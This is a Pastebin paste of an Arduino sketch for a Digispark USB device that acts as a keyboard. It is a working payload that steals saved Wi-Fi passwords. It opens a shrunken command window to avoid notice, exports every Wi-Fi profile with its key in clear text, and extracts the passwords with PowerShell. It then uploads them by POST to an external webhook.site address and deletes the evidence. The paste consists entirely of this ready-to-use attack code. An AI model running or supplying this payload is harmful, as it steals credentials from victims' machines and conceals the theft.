Advertisement
Guest User

Untitled

a guest
Nov 17th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.54 KB | None | 0 0
  1. /*
  2. Following payload will grab saved Wifi password and will send them to your hosted webhook.
  3. */
  4.  
  5. #include "DigiKeyboard.h"
  6.  
  7. void setup() {
  8. pinMode(1, OUTPUT); //LED on Model A
  9. }
  10.  
  11. void loop() {
  12.  
  13. DigiKeyboard.update();
  14. DigiKeyboard.sendKeyStroke(0);
  15. DigiKeyboard.delay(3000);
  16. DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //start run
  17. DigiKeyboard.delay(100);
  18. DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible for trying to making it as less noticeable as possible
  19. DigiKeyboard.delay(500);
  20. DigiKeyboard.println("cd %temp%"); //Jumping to temporary dir
  21. DigiKeyboard.delay(300);
  22. DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
  23. DigiKeyboard.delay(500);
  24. DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
  25. DigiKeyboard.delay(500);
  26. DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/34b0af86-bfe0-40ba-8582-32c68aad4c40 -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
  27. DigiKeyboard.delay(1000);
  28. DigiKeyboard.println("del Wi-Fi-* /s /f /q"); //cleaning up all the mess
  29. DigiKeyboard.delay(500);
  30. DigiKeyboard.println("exit");
  31. DigiKeyboard.delay(100);
  32. digitalWrite(1, HIGH); //turn on led when program finishes
  33. DigiKeyboard.delay(90000);
  34. digitalWrite(1, LOW);
  35. DigiKeyboard.delay(5000);
  36.  
  37. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement